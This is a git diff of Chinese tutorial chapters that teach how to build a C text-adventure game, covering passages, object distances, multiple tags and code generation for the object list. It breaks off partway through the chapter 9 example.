+考虑到这些属性，第 4 章中定义的结构对象就非常适合存储道路了。事实上，一个道路与一个项目或 NPC 并没有太大的不同，它作为“可见出口”存在于某个位置（该位置是起点）。它只是与某些命令的行为不同，特别是命令“go”：应用于道路，*go*将改变玩家的位置。
+
+```c
+struct object {
+   const char    *description;
+   const char    *tag;
+   struct object *location;
+   struct object *destination;
+};
+```
+
+注意：
+
+- 显然，*目的地*在大多数其他对象（物品，NPC）中都没有使用
+- 通道总是朝一个方向运行;要双向连接两个位置，我们总是必须创建两个单独的通道。乍一看，这似乎很笨拙，但它确实给了我们很大的灵活性来完善命令“go”的行为
+- 在大地图上，你可能会发现手动创建所有通道很乏味。所以，我强烈建议你使用自定义工具*生成*地图中重复性更强的部分。这里不会介绍这一点，但您可能会在第 9 章中找到一些灵感，我们将在其中讨论自动胜场。
+
+::: warning 🤔 思考题：为什么创建两个通道可以使我们的程序更加灵活？
+:::
+
+接下来我们将展开对象数组
+
+## object.h
+
+```c
+typedef struct object {
+   const char    *description;
+   const char    *tag;
+   struct object *location;
+   struct object *destination;
+} OBJECT;
+
+extern OBJECT objs[];
+
+#define field      (objs + 0)   //是不是觉得这个很熟悉
+#define cave       (objs + 1)
+#define silver     (objs + 2)
+#define gold       (objs + 3)
+#define guard      (objs + 4)
+#define player     (objs + 5)
+#define intoCave   (objs + 6)
+#define exitCave   (objs + 7)
+
+#define endOfObjs  (objs + 8)
+```
+
+## object.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+OBJECT objs[] = {
+   {"an open field"  , "field"   , NULL , NULL  },
+   {"a little cave"  , "cave"    , NULL , NULL  },
+   {"a silver coin"  , "silver"  , field, NULL  },
+   {"a gold coin"    , "gold"    , cave , NULL  },
+   {"a burly guard"  , "guard"   , field, NULL  },
+   {"yourself"       , "yourself", field, NULL  },
+   {"a cave entrance", "entrance", field, cave  },
+   {"an exit"        , "exit"    , cave , field }
+};
+```
+
+我们将在 *misc.c* 中添加一个小的帮助函数，以确定两个给定位置之间是否存在通道。
+
+## misc.h
+
+```c
+extern OBJECT *getPassage(OBJECT *from, OBJECT *to);
+extern OBJECT *actorHere(void);
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+OBJECT *getPassage(OBJECT *from, OBJECT *to)
+{
+   if (from != NULL && to != NULL)
+   {
+      OBJECT *obj;
+      for (obj = objs; obj < endOfObjs; obj++)   //寻找物品之间是否具有通道
+      {
+         if (obj->location == from && obj->destination == to)
+         {
+            return obj;  //找到了
+         }
+      }
+   }
+   return NULL;//找不到
+}
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj->location == player->location && obj == guard)
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && obj->location == location)
+      {
+         if (count++ == 0)
+         {
+            printf("You see:\n");
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+我们将在命令“go”的实现中使用新功能*getPassage*来确定是否存在可以将玩家带到所需位置的通道。
+
+## location.h
+
+```c
+extern void executeLook(const char *noun);
+extern void executeGo(const char *noun);
+```
+
+## location.c
+
+```c
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+
+void executeLook(const char *noun)
+{
+   if (noun != NULL && strcmp(noun, "around") == 0)
+   {
+      printf("You are in %s.\n", player->location->description);
+      listObjectsAtLocation(player->location);
+   }
+   else
+   {
+      printf("I don't understand what you want to see.\n");
+   }
+}
+
+void executeGo(const char *noun)
+{
+   OBJECT *obj = getVisible("where you want to go", noun);
+   if (obj == NULL)
+   {
+      // already handled by getVisible
+   }
+   else if (getPassage(player->location, obj) != NULL)
+   //go 只会在有地方的时候才会运行起来
+   {
+      printf("OK.\n");
+      player->location = obj;
+      executeLook("around");
+   }
+   else if (obj->location != player->location)
+   {
+      printf("You don't see any %s here.\n", noun);
+   }
+   else if (obj->destination != NULL)
+   {
+      printf("OK.\n");
+      player->location = obj->destination;
+      executeLook("around");
+   }
+   else
+   {
+      printf("You can't get much closer than this.\n");
+   }
+}
+```
+
+我们还将使用新功能*getPassage*来确定从玩家站立的位置是否可以看到某个位置。未通过通道连接到当前位置的位置不被视为可见。
+
+## noun.h
+
+```c
+extern OBJECT *getVisible(const char *intention, const char *noun);
+extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun);
+```
+
+## noun.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0;
+}
+
+static OBJECT *getObject(const char *noun)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun))
+      {
+         res = obj;
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun);
+   
+   if (obj == NULL)
+   {
+      printf("I don't understand %s.\n", intention);
+   }
+   else if (!(obj == player ||
+              obj == player->location ||
+              obj->location == player ||
+              obj->location == player->location ||
+              getPassage(player->location, obj) != NULL ||   //检查两个位置是否相邻
+              (obj->location != NULL &&
+               (obj->location->location == player ||
+                obj->location->location == player->location))))
+   {
+      printf("You don't see any %s here.\n", noun);
+      obj = NULL;
+   }
+   return obj;
+}
+
+OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun)
+{
+   OBJECT *obj = NULL;
+   if (from == NULL)
+   {
+      printf("I don't understand who you want to %s.\n", verb);
+   }
+   else if ((obj = getObject(noun)) == NULL)
+   {
+      printf("I don't understand what you want to %s.\n", verb);
+   }
+   else if (obj == from)
+   {
+      printf("You should not be doing that to %s.\n", obj->description);
+      obj = NULL;
+   }
+   else if (obj->location != from)
+   {
+      if (from == player)
+      {
+         printf("You are not holding any %s.\n", noun);
+      }
+      else
+      {
+         printf("There appears to be no %s you can get from %s.\n",
+                noun, from->description);
+      }
+      obj = NULL;
+   }
+   return obj;
+}
+```
+
+显然，此示例中的地图是微不足道的：只有两个位置，并且它们在两个方向上都连接在一起。第 12 章将增加第三个地点。
+
+::: warning 🤔 思考题：
+你能否绘制一张更精细的地图，并将其变成对象列表（位置和通道）
+
+注：不用当成任务，自行实验即可
+
+:::
+
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance
+
+--> go entrance
+OK.
+You are in a little cave.
+You see:
+a gold coin
+an exit
+
+--> go exit
+OK.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance
+
+--> go cave
+OK.
+You are in a little cave.
+You see:
+a gold coin
+an exit
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md
new file mode 100644
index 0000000..08b99fb
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离.md
@@ -0,0 +1,510 @@
+# 7.增大距离
+
+*一个典型的冒险包含许多谜题。众所周知，[Infocom](https://en.wikipedia.org/wiki/Infocom)的冒险很难完成。解决每个难题可能需要数周甚至数月的反复试验。*
+
+*当玩家操纵角色失败后，如果只是返回“你不能这么操作”来回应玩家，会很 nt，很没意思。*
+
+*它忽略了电脑游戏的一个重要方面，而这也是生活本身的一部分：玩家必须从错误中吸取教训。*
+
+当你的游戏反复输入东西都是，你不能这样做的时候，会显得很无聊的。
+
+*冒险游戏至少应该做的是解释为什么玩家的命令无法完成：“你不能这样做，因为......”这有助于使虚拟世界更具说服力，故事更可信，游戏更有趣。*
+
+我们已经付出了相当大的努力让游戏解释**为什么**某些命令是无效的。只需看看*名词.c，inventory.c，location.c*，*move.c*中的许多*printf*调用。但随着游戏变得越来越复杂，这正成为一个相当大的负担。我们需要一种更结构化的方法来检测和处理错误情况。这就是我们在本章中将要讨论的内容。
+
+大多数命令对一个或多个对象进行操作，例如：
+
+- 玩家拿起一件物品，然后把它交给另一个 NPC。
+- 玩家沿着一条通道到另一个位置。
+
+首先要检查的（在[解析器](http://en.wikipedia.org/wiki/Parsing)捕获检测是否会有明显[拼写错误](http://en.wikipedia.org/wiki/Typographical_error)之后）是这些对象**是否存在**;
+
+失败应该导致类似“这里没有...“或”你看不到任何东西...”等文字出现。在本章中，我们将构建一个通用函数，每个命令都可以使用它来找出玩家是否在可及的范围内。
+
+你可能认为我们只需要区分两种情况：对象在这里，或者它不在这里。
+
+但是许多命令需要更多的渐变，而不仅仅是“这里”和“不在这里”。例子：
+
+- 要使用武器或工具，玩家必须持有它;仅仅在现场存在是不够的。
+- 你不能放下一个你没拿起来的道具，也不能拿起一个已经有的东西
+- 如果你跟商人买东西的时候，他店里东西你不能随便拿
+
+| distSelf          | 对象是玩家                                                     | object == player                                                               |
+| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------------------------------ |
+| distHeld          | 玩家持有物体                                                   | object->location == player                                                     |
+| distHeldContained | 玩家拿着另一个包含该物体的物体（例如袋子）                     | object->location != NULL &&<br/>object->location->location == player           |
+| distLocation      | 对象是玩家的位置                                               | object == player->location                                                     |
+| distHere          | 对象位于玩家的位置                                             | object->location == player->location                                           |
+| distHereContained | 一个物体（NPC 或“容器”）存在于玩家的位置，正在拿着另一个物体 | object->location != NULL &&<br/>object->location->location == player->location |
+| distOverthere     | 对象是附近的位置                                               | getPassage(player->location, object) != NULL                                   |
+
+第一种情况（对象是玩家）可能看起来微不足道，但它仍然很重要。例如，命令“examine yourself”*不应该*返回“这里没有你自己”。
+
+我试图遵循一个逻辑顺序：附近的事物最高优先级，随后优先级会变低。
+
+| distNotHere       | 对象不在这里（或看起来）不在这里 |                |
+| ----------------- | -------------------------------- | -------------- |
+| distUnknownObject | 解析器无法识别输入的名词         | object == NULL |
+
+请注意，我们有七种不同的“这里”案例，但只有一种是“不在这里”。这是因为通常，游戏只需要提供有关玩家可以感知的事物的信息。如果它不在这里，那么就没什么可说的了。
+
+在最左边的列中，我们为每个案例提出了一个符号名称。我们将在名为 **DISTANCE** 的[枚举](http://en.wikipedia.org/wiki/Enumerated_type)中收集这些名称。
+
+```c
+typedef enum {
+   distSelf,
+   distHeld,
+   distHeldContained,
+   distLocation,
+   distHere,
+   distHereContained,
+   distOverthere,
+   distNotHere,
+   distUnknownObject
+} DISTANCE;
+```
+
+::: warning 💡 typedef 以及枚举类 enum 之前有接触过吗？没有接触过的话就去学习一下吧。
+:::
+
+在最右边的列中，我们为每个情况提出了一个满足条件。通过一些重新洗牌，我们可以很容易地将其转换为计算对象“距离”的函数（从玩家的角度来看）：
+
+```c
+DISTANCE getDistance(OBJECT *from, OBJECT *to)
+{
+   return to == NULL                               ? distUnknownObject :
+          to == from                               ? distSelf :
+          to->location == from                     ? distHeld :
+          to == from->location                     ? distLocation :
+          to->location == from->location           ? distHere :
+          getPassage(from->location, to) != NULL   ? distOverthere :
+          to->location == NULL                     ? distNotHere :
+          to->location->location == from           ? distHeldContained :
+          to->location->location == from->location ? distHereContained :
+                                                     distNotHere;
+}
+```
+
+::: warning 🤔 思考题：
+你是否有其他方法实现这个功能？
+
+注：自行实验即可
+:::
+
+就这样！我们可以调用此函数并对其返回值进行比较。例如，我们在 noun*.c*中有以下代码：
+
+```c
+else if (!(obj == player ||
+           obj == player->location ||
+           obj->location == player ||
+           obj->location == player->location ||
+           getPassage(player->location, obj) != NULL ||
+           (obj->location != NULL &&
+            (obj->location->location == player ||
+             obj->location->location == player->location))))
+```
+
+现在，我们可以用适当的距离检查替换每个子条件：
+
+```c
+else if (!(getDistance(player, obj) == distSelf ||
+           getDistance(player, obj) == distLocation ||
+           getDistance(player, obj) == distHeld ||
+           getDistance(player, obj) == distHere ||
+           getDistance(player, obj) == distOverthere ||
+           getDistance(player, obj) == distHeldContained ||
+           getDistance(player, obj) == distHereContained))
+```
+
+这可以简化为：
+
+```c
+else if (getDistance(player, obj) >= distNotHere)
+```
+
+::: warning 🤔 尝试理解一下这样做的意义
+:::
+
+这只是一个例子，让你对这个概念有所了解;您将在下面找到*noun.c*的实际实现，看起来略有不同。
+
+是时候把事情落实到位了。枚举 *DISTANCE* 和函数 *getDistance* 的定义被添加到 *misc.h* 和 *misc.c* 中，因为我们将在多个模块中使用它们。
+
+## misc.h
+
+```c
+typedef enum {
+   distSelf,
+   distHeld,
+   distHeldContained,
+   distLocation,
+   distHere,
+   distHereContained,
+   distOverthere,
+   distNotHere,
+   distUnknownObject
+} DISTANCE;
+
+extern bool isHolding(OBJECT *container, OBJECT *obj);
+    //是否持有物体
+extern OBJECT *getPassage(OBJECT *from, OBJECT *to);
+    //获取通道
+extern DISTANCE getDistance(OBJECT *from, OBJECT *to);
+    //计算距离
+extern OBJECT *actorHere(void);
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+bool isHolding(OBJECT *container, OBJECT *obj)
+{
+   return obj != NULL && obj->location == container;
+}
+
+OBJECT *getPassage(OBJECT *from, OBJECT *to)
+{
+   if (from != NULL && to != NULL)
+   {
+      OBJECT *obj;
+      for (obj = objs; obj < endOfObjs; obj++)
+      {
+         if (isHolding(from, obj) && obj->destination == to)
+         {
+            return obj;
+         }
+      }
+   }
+   return NULL;
+}
+
+DISTANCE getDistance(OBJECT *from, OBJECT *to)
+{
+   return to == NULL                               ? distUnknownObject :
+          to == from                               ? distSelf :
+          isHolding(from, to)                      ? distHeld :
+          isHolding(to, from)                      ? distLocation :
+          isHolding(from->location, to)            ? distHere :
+          isHolding(from, to->location)            ? distHeldContained :
+          isHolding(from->location, to->location)  ? distHereContained :
+          getPassage(from->location, to) != NULL   ? distOverthere :
+                                                     distNotHere;
+}
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(player->location, obj) && obj == guard)
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && isHolding(location, obj))
+      {
+         if (count++ == 0)
+         {
+            printf("You see:\n");
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+注意：isHolding 这个函数之后我们将在各个地方使用
+
+## location.h
+
+```c
+extern void executeLook(const char *noun);
+extern void executeGo(const char *noun);
+```
+
+在函数 *executeGo* 中，我们可以用检查距离来替换大多数 *if* 条件。
+
+## location.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+
+void executeLook(const char *noun)
+{
+   if (noun != NULL && strcmp(noun, "around") == 0)
+   {
+      printf("You are in %s.\n", player->location->description);
+      listObjectsAtLocation(player->location);
+   }
+   else
+   {
+      printf("I don't understand what you want to see.\n");
+   }
+}
+
+void executeGo(const char *noun)
+{
+   OBJECT *obj = getVisible("where you want to go", noun);
+   switch (getDistance(player, obj))
+   {
+   case distOverthere:
+      printf("OK.\n");
+      player->location = obj;
+      executeLook("around");
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", noun);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      //上述情况均为出现
+      if (obj->destination != NULL)
+      {
+         printf("OK.\n");
+         player->location = obj->destination;
+         executeLook("around");
+      }
+      else
+      {
+         printf("You can't get much closer than this.\n");
+      }
+   }
+}
+```
+
+::: warning 🤔 思考题：你能否为 switch 函数增加更多 case 来完善判断条件？
+:::
+
+函数 *executeGet* 也是如此。
+
+## **inventory.h**
+
+```c
+extern void executeGet(const char *noun);
+extern void executeDrop(const char *noun);
+extern void executeAsk(const char *noun);
+extern void executeGive(const char *noun);
+extern void executeInventory(void);
+```
+
+## **inventory.c**
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+#include "move.h"
+
+void executeGet(const char *noun)
+{
+   OBJECT *obj = getVisible("what you want to get", noun);
+   switch (getDistance(player, obj))
+   {
+   case distSelf:
+      printf("You should not be doing that to yourself.\n");
+      break;
+   case distHeld:
+      printf("You already have %s.\n", obj->description);
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      if (obj->location == guard)
+      {
+         printf("You should ask %s nicely.\n", obj->location->description);
+      }
+      else
+      {
+         moveObject(obj, player);
+      }
+   }
+}
+
+void executeDrop(const char *noun)
+{
+   moveObject(getPossession(player, "drop", noun), player->location);
+}
+
+void executeAsk(const char *noun)
+{
+   moveObject(getPossession(actorHere(), "ask", noun), player);
+}
+
+void executeGive(const char *noun)
+{
+   moveObject(getPossession(player, "give", noun), actorHere());
+}
+
+void executeInventory(void)
+{
+   if (listObjectsAtLocation(player) == 0)
+   {
+      printf("You are empty-handed.\n");
+   }
+}
+```
+
+最后，我们将调整 noun*.c*中的约束。我们正在向函数*getObject*添加两个参数，以便找到特定名词的匹配项，同时忽略任何被认为不存在的对象。这将在下一章中得到真正的回报，我们将在下一章中介绍具有相同标签的不同对象。
+
+## noun.h
+
+```c
+extern OBJECT *getVisible（const char *intention， const char *noun）;
+extern OBJECT *getPossession（OBJECT *from， const char *verb， const char *noun）;
+```
+
+## noun.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0;
+}
+
+static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance)
+          //只考虑与对象距离小于或等于最大距离的物体
+      {
+         res = obj;
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun, player, distOverthere);
+   //玩家看不到的自动忽略
+   if (obj == NULL)
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand %s.\n", intention);
+      }
+      else
+      {
+         printf("You don't see any %s here.\n", noun);
+      }
+   }
+   return obj;
+}
+
+OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun)
+{
+   OBJECT *obj = NULL;
+   if (from == NULL)
+   {
+      printf("I don't understand who you want to %s.\n", verb);
+   }
+   else if ((obj = getObject(noun, from, distHeldContained)) == NULL)
+       //限制范围
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand what you want to %s.\n", verb);
+      }
+      else if (from == player)
+      {
+         printf("You are not holding any %s.\n", noun);
+      }
+      else
+      {
+         printf("There appears to be no %s you can get from %s.\n",
+                noun, from->description);
+      }
+   }
+   else if (obj == from)
+   {
+      printf("You should not be doing that to %s.\n", obj->description);
+      obj = NULL;
+   }
+   return obj;
+}
+```
+
+::: warning 🤔 思考题：你能理解什么时候加 const，什么时候不用吗？
+:::
+
+在本章中，*距离*的概念主要用于在游戏可以给用户的不同响应之间进行选择。但是，距离的好处并不局限于**输出**端;它可以同样很好地用于在**输入**端进行改进。在下一章中，我们将使用距离来提高对用户输入的名词的识别。
+
+输出样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance
+
+--> go guard
+You can't get much closer than this.
+
+--> give silver
+You are not holding any silver.
+
+--> ask silver
+There appears to be no silver you can get from a burly guard.
+
+--> get silver
+You pick up a silver coin.
+
+--> get gold
+You don't see any gold here.
+
+--> give silver
+You give a silver coin to a burly guard.
+
+--> go cave
+OK.
+You are in a little cave.
+You see:
+a gold coin
+an exit
+
+--> get gold
+You pick up a gold coin.
+
+--> give gold
+There is nobody here to give that to.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md
new file mode 100644
index 0000000..c29610c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md
@@ -0,0 +1,254 @@
+# 8.移动方向
+
+*传统的文本冒险使用[指南针方向](https://en.wikipedia.org/wiki/Cardinal_direction)进行导航。*
+
+例如，我们在第 6 章中绘制的地图上，玩家可能想**向东**移动，从田野移动到洞穴。我们可以通过给连接**Cave**的通道标上“east”来实现这一点。但是，我们首先需要解决两个问题。
+
+1. 我们可能仍然想把这段通道称为“entrance”和“east”。但现在，一个对象只能有一个标签。
+2. 在更大的地图上，具有更多的位置和道路，标签“east”将被定义多次。到目前为止，标签在我们的游戏中是全球独一无二的，没有重复项。
+
+::: warning 🤔 思考题：你能否想出解决办法？
+:::
+
+这些问题同样适用于其他对象，而不仅仅是通道。
+
+在我们的冒险中，我们有一枚银币和一枚金币。一方面，如果不接受在只有一枚硬币存在的地点得到硬币，那将是愚蠢的。
+
+另一方面，在两种硬币都在同一位置存在的情况下，玩家应该可以有两个拾取选择。
+
+这立即将我们带到了解析器的第三个问题：
+
+1. 一个标签只能是一个单词;“sliver coin”这是俩单词，他不接受啊
+
+所有三个问题都将在本章中解决，从问题#1 开始。它通过为每个对象提供一个标签列表来解决，而不仅仅是一个标签。
+
+## object.h
+
+```c
+typedef struct object {
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+} OBJECT;
+
+extern OBJECT objs[];
+
+#define field      (objs + 0)
+#define cave       (objs + 1)
+#define silver     (objs + 2)
+#define gold       (objs + 3)
+#define guard      (objs + 4)
+#define player     (objs + 5)
+#define intoCave   (objs + 6)
+#define exitCave   (objs + 7)
+#define wallField  (objs + 8)
+#define wallCave   (objs + 9)
+
+#define endOfObjs  (objs + 10)
+```
+
+## object.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+static const char *tags0[] = {"field", NULL};
+static const char *tags1[] = {"cave", NULL};
+static const char *tags2[] = {"silver", "coin", "silver coin", NULL};
+static const char *tags3[] = {"gold", "coin", "gold coin", NULL};
+static const char *tags4[] = {"guard", "burly guard", NULL};
+static const char *tags5[] = {"yourself", NULL};
+static const char *tags6[] = {"east", "entrance", NULL};
+static const char *tags7[] = {"west", "exit", NULL};
+static const char *tags8[] = {"west", "north", "south", "forest", NULL};
+static const char *tags9[] = {"east", "north", "south", "rock", NULL};
+//我们不固定标签长度，在结束的时候用 NULL 来标记
+OBJECT objs[] = {
+   {"an open field"              , tags0, NULL , NULL  },
+   {"a little cave"              , tags1, NULL , NULL  },
+   {"a silver coin"              , tags2, field, NULL  },
+   {"a gold coin"                , tags3, cave , NULL  },
+   {"a burly guard"              , tags4, field, NULL  },
+   {"yourself"                   , tags5, field, NULL  },
+   {"a cave entrance to the east", tags6, field, cave  },
+   {"an exit to the west"        , tags7, cave , field },
+   {"dense forest all around"    , tags8, field, NULL  },
+   {"solid rock all around"      , tags9, cave , NULL  }
+   //我们用 NULL 来阻绝进入一个你不知道的地方
+};
+```
+
+当然，要让这个改动生效，我们还需要调整*noun.c*中的*objectHasTag*函数。
+
+*同时，我们将让函数 getVisible*和*getPossession* 告知玩家他必须更具体的选择你到底是银币还是金币，而不是随机选择任何一个对象。
+
+## noun.h
+
+```c
+extern OBJECT *getVisible(const char *intention, const char *noun);
+extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun);
+```
+
+## **noun.c**
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   if (noun != NULL && *noun != '\0')
+   {
+      const char **tag;
+      for (tag = obj->tags; *tag != NULL; tag++)
+      {
+         if (strcmp(*tag, noun) == 0) return true;
+      }//扫描对象的 tag 列表
+   }
+   return false;
+}
+
+static OBJECT ambiguousNoun;//我们需要这玩意的地址帮助我们把它当成一个返回值
+
+static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance)
+      {
+         res = res == NULL ? obj : &ambiguousNoun;//标签不明确的解决方案哦
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun, player, distOverthere);
+   if (obj == NULL)
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand %s.\n", intention);
+      }
+      else
+      {
+         printf("You don't see any %s here.\n", noun);
+      }
+   }
+   else if (obj == &ambiguousNoun)//模糊匹配
+   {
+      printf("Please be specific about which %s you mean.\n", noun);
+      obj = NULL;
+   }
+   return obj;
+}
+
+OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun)
+{
+   OBJECT *obj = NULL;
+   if (from == NULL)
+   {
+      printf("I don't understand who you want to %s.\n", verb);
+   }
+   else if ((obj = getObject(noun, from, distHeldContained)) == NULL)
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand what you want to %s.\n", verb);
+      }
+      else if (from == player)
+      {
+         printf("You are not holding any %s.\n", noun);
+      }
+      else
+      {
+         printf("There appears to be no %s you can get from %s.\n",
+                noun, from->description);
+      }
+   }
+   else if (obj == &ambiguousNoun)//模糊匹配
+   {
+      printf("Please be specific about which %s you want to %s.\n",
+             noun, verb);
+      obj = NULL;
+   }
+   else if (obj == from)
+   {
+      printf("You should not be doing that to %s.\n", obj->description);
+      obj = NULL;
+   }
+   return obj;
+}
+```
+
+问题 #3 可以通过从函数*parseAndExecute*中删除一个 [空格](http://en.wikipedia.org/wiki/Space_(punctuation))字符来解决（下面的第 10 行）。这个解决方案远非完美（'silver' 和 'coin' 之间的双空格是打咩的），但直到我们在第 13 章中让自己成为一个更好的解析器之前。
+
+## parsexec.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "location.h"
+#include "inventory.h"
+
+bool parseAndExecute(char *input)
+{
+   char *verb = strtok(input, " \n");
+   char *noun = strtok(NULL, "\n");
+   if (verb != NULL)
+   {
+      if (strcmp(verb, "quit") == 0)
+      {
+         return false;
+      }
+      else if (strcmp(verb, "look") == 0)
+      {
+         executeLook(noun);
+      }
+      else if (strcmp(verb, "go") == 0)
+      {
+         executeGo(noun);
+      }
+      else if (strcmp(verb, "get") == 0)
+      {
+         executeGet(noun);
+      }
+      else if (strcmp(verb, "drop") == 0)
+      {
+         executeDrop(noun);
+      }
+      else if (strcmp(verb, "give") == 0)
+      {
+         executeGive(noun);
+      }
+      else if (strcmp(verb, "ask") == 0)
+      {
+         executeAsk(noun);
+      }
+      else if (strcmp(verb, "inventory") == 0)
+      {
+         executeInventory();
+      }
+      else
+      {
+         printf("I don't know how to '%s'.\n", verb);
+      }
+   }
+   return true;
+}
+```
+
+模块*main.c*、*inventory.c*、*location.c*、*move.c* 和*misc.c*保持不变
+
+现在对象数组 ( *object.c* ) 开始在多个维度上增长（特别是在引入多个标签的情况下），我们需要一种使其更易于维护的方法。
+
+::: warning 🤔 猜猜看该怎么办？
+:::
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习：生成代码.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习：生成代码.md
new file mode 100644
index 0000000..37fae34
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习：生成代码.md
@@ -0,0 +1,91 @@
+# 9.练习：生成代码
+
+*到目前为止，我们的冒险游戏有 10 个对象。每个对象由有 5 个属性组成。一个真正的文本冒险可能有数百个甚至数千个对象，并且每个对象的属性数量也可能增加（请参阅下一章）。在目前的形式下，维护如此庞大的对象和属性列表将很困难。*
+
+例如，当我们在添加对象 *wallField* 和 *wallCave* 时，我们必须在三个不同的位置执行此操作：一次在 *object.h* 中（作为<em>#define</em>），两次在 *object.c* 中（数组 *objs* 中的一个元素，以及一个单独的标签数组）。这显然十分笨拙并且容易出错。
+
+我们将不再手工维护 object. h 和 object. c，而是从更适合我们需要的单一源开始生成文件。这个新的源文件可以用你喜欢的任何语言 ( 典型的是某些特定领域的语言 )，只要你有工具把它转换回 C。下面是一个简单的例子，考虑下列布局来组织我们的对象：
+
+```txt
+                 /* Raw C code (declarations) */
+- ObjectName
+      AttributeName AttributeValue
+      AttributeName AttributeValue
+      ...
+- ObjectName
+      AttributeName AttributeValue
+      AttributeName AttributeValue
+      ...
+- ...
+```
+
+根据到目前为止收集的对象，我们可以构造以下源文件。文件名并不重要;我只是简单地将其命名为*object.txt*，以明确它与*object.h*和*object.c*相关。
+
+## object.txt
+
+```txt
+#include <stdio.h>
+#include "object.h"
+
+typedef struct object {
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+} OBJECT;
+
+extern OBJECT objs[];
+//对象
+- field
+     description "an open field"
+     tags        "field"
+
+- cave
+     description "a little cave"
+     tags        "cave"
+
+- silver
+     description "a silver coin"
+     tags        "silver", "coin", "silver coin"
+     location    field
+
+- gold
+     description "a gold coin"
